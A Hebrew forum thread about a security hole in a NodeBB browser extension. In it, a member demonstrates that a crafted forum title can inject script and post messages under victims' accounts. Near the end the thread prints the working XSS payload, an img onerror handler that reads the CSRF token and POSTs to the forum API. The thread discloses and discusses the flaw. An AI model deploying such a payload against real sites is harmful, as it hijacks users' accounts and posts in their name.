שיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!

[קרט]

שלום כאן @cfopuser רציתי לומר שיש כמה באגים עם התוסף שצריכים טיפול אז נא להזהר @לאצי רק באתי להבהיר את בנקודה הכול בהומור

[קראנץ' ונילה]

@לאצי
באג שיש לציין שאם לוחצים על כפתור אז הבועה השחורה נשארת פתוחה

[מים אחרונים]

@קרט @css-0 @cfopuser
מה נסגר?

[CSS 0]

@מים-אחרונים תנסה את התוסף של @cfopuser תבין מה נסגר... גם אתה איך שהוא תכתוב את אותם מילים... אבל בדיוק!

[המלאך]

@CSS-0 @cfopuser ס"כ ניסה להסביר למה זה מסוכן לעשות תוספים בai.
זה מסוכן מבחינת אבטחה.

[CSS 0]

@המלאך ואני מסכים איתו...

[מים אחרונים]

@CSS-0 אתה יכול לשלוח לי אותו? מה הקישור?

[יאיר דניאל]

@קראנץ-ונילה התקנת את התוסף שלו???
זה מופיע בגלל התוסף שלו

[קראנץ' ונילה]

@יאיר-דניאל
התקנתי, אבל יש לך כאלו שלא נמצאים בתוסף
(למשל הכפתור של היד, הספר, המצפן, והידיים שלוחצות אחת לשנייה) מה זה?

[kasnik]

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

מרכז הפורומים – צפייה בכל הנושאים שלא נקראו מכל הפורומים שאתם חברים בהם במקום אחד. כולל זיהוי אוטו' של פורומים חדשים. (קרדיט: @יאנג-בוי)

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

1. גרסת התוסף
   בגרסה זו תקבלו תפריט הגדרות נוח שמאפשר להפעיל/לכבות כל פיצ'ר בנפרד.
   להורדה מהחנות

@יאנג-בוי כתב בשיתוף | קבלת 'נושאים שלא נקראו' מכלל הפורומים:

הסקריפט ניתן לשימוש חופשי, ניתן להשתמש בקוד שלו לכל שימוש, ואף להפצה מחדש (גם בלי קרדיט; אבל תתנו, מה אכפת לכם... אז מה אם לא כתבתי כלום, עדיין השקעתי זמן על זה...) בתנאי שהוא נשאר כסקריפט לטמפרמונקי, ולא נארז לתוסף כרום בשום אופן!
גם אם אתם מהמוזרים שאוהבים שהכרום שלהם מלא בתוספים, אני לא רוצה יד בזה. והסקריפט הזה הוא קריאת השכמה לכל מפתחי התוספים כאן בפורום.

[לאצי]

@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...

@kasnik אל דאגה, שאלתיו לפני שיצרתי זאת.

[ע"ה דכו"ע]

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...

@cfopuser יצר פורום נוזקה, שכאשר מוסיפים אותו למרכז הפורומים בתוסף שלך, הוא שולח בשם המשתמש בקשת API לכתיבת פוסט חדש.

הוא בא להראות לך שצריך להוסיף אבטחה בתוסף שפורומים שנוספים לא יוכלו להזריק קוד ע"י התוסף.

זה https://cfopuser.----github.io/forum/ הקישור לפורום, וההזרקה היא בכותרת הפורום

[בנימין מחשבים]

ויש לציין שלדבריו זוהי רק פירצה אחת מיני רבות בתוסף.
להרגשתי צפוי לנו פרק ב' מרתק

@קרט כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

להבהיר את בנקודה

Spoiler

רק @cfopuser יפרוץ לניקים ויכתוב בשמם הודעות
אבל לא יטרח לתקן שגיאת כתיב בטקסט שנשלח בשמם...
או שזו סוג של חתימה

עריכה - @יאנג-בוי ברול הבא למועדון

[יאנג בוי]

מרתק!
אחלה @cfopuser

@בנימין-מחשבים אני הבנתיאת זה כבר מהשרשור, ורק רציתי לראות את זה קורה בלייב...
כמובן שעברתי על הקוד לפני לראות שהוא רק כולל את הPOST ולא דברים נוספים...

[לאצי]

@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).

[kasnik]

@לאצי ואני אשמח באם החגיגה תמשיך

[ע"ה דכו"ע]

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).

הנוזקה נמצאת בקישור שהבאתי, זה לא כזו נוזקה רצינית, ס"ה הוא הגדיר את המאפיין title לקוד הבא:

<title>&lt;img src=x onerror="const token = config.csrf_token; 
    fetch('/api/v3/topics/94984', {
        method: 'POST',
        headers: { 'x-csrf-token': token, 'Content-Type': 'application/json' },
        body: JSON.stringify({ content: 'שלום כאן @cfopuser רציתי לומר שיש כמה באגים עם התוסף שצריכים טיפול
        אז נא להזהר
        
        @לאצי רק באתי להבהיר את בנקודה הכול בהומור' })
    });
"&gt;</title>

[המלאך]

@לאצי חשוב לציין שלפי דברי @cfopuser יש שם פרצות אבטחה הרבה יותר חמורות מזה.

Spoiler

ג"א מצטרף לדברי @בנימין-מחשבים אני ממש מצפה לפרק ב'...

[מים אחרונים]

@המלאך הנוזקה עדיין פעילה?
עריכה, לכאורה לא... כי התקנתי... והוספתי את הפורום ולא השתנה כלום

[מים אחרונים]

פוסט זה נמחק!